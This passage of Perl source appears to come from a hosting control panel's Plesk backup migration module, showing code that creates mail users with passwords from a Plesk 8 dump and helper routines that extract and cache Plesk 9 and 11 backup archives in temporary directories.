$mailuser->{'properties'}->{'password'} || $mailuser->{'password'}; if ($pinfo->{'type'} eq 'plain') { $uinfo->{'plainpass'} = $pinfo->{'content'}; $uinfo->{'pass'} = &encrypt_user_password( $uinfo, $uinfo->{'plainpass'}); } else { $uinfo->{'pass'} = $pinfo->{'content'}; } $uinfo->{'uid'} = $dom{'uid'}; $uinfo->{'gid'} = $dom{'gid'}; $uinfo->{'home'} = $hdir; $uinfo->{'shell'} = $ftp_shell->{'shell'}; &create_user($uinfo, \%dom); $sucount++; } &$second_print(".. created $sucount"); } # Save original Plesk 8 XML file &save_plesk_xml_files(\%dom, $xfile, $dump); return (\%dom, @rvdoms); } # extract_plesk9_dir(file, version) # Extracts a Plesk 9 tar.gz file into a temporary directory sub extract_plesk9_dir { local ($file, $version) = @_; local $dir; if (-d $file) { # Already extracted, so just use the directory $dir = $file; } else { if ($main::plesk9_dir_cache{$file} && -d $main::plesk9_dir_cache{$file}) { # Use cached extract from this session return (1, $main::plesk9_dir_cache{$file}); } $dir = &transname(); &make_dir($dir, 0700); local $err = &extract_compressed_file($file, $dir); if ($err) { return (0, $err); } } local ($disc) = glob("$dir/*/.discovered"); if ($disc =~ /\/([^\/]+)\/\.discovered$/) { # Plesk 11 appears to use a sub-directory $dir = "$dir/$1"; } $main::plesk9_dir_cache{$file} = $dir; return (1, $dir); } # extract_plesk9_cid(basedir, &cids, type) # Returns a temp dir containing the contents of some extracted Plesk content, # or undef if not found sub extract_plesk9_cid { local ($basedir, $cids, $type) = @_; local ($cid) = grep { $_->{'type'} eq $type } @$cids; return undef if (!$cid); local $file = $basedir."/".$cid->{'path'}."/".$cid->{'content-file'}->{'content'}; if (!-r $file) { # Try path as seen on Plesk 11 $file = $basedir."/".$cid->{'content-file'}->{'content'}; } -r $file || return undef; local $dir = $main::extract_plesk9_cid_cache{$file}; if (!$dir) { # Need to extract $dir = &transname(); &make_dir($dir, 0700); local $err = &extract_compressed_file($file, $dir); return undef if ($err); $main::extract_plesk9_cid_cache{$file} = $dir; } return $dir."/".$cid->{'offset'}; } 1;
Close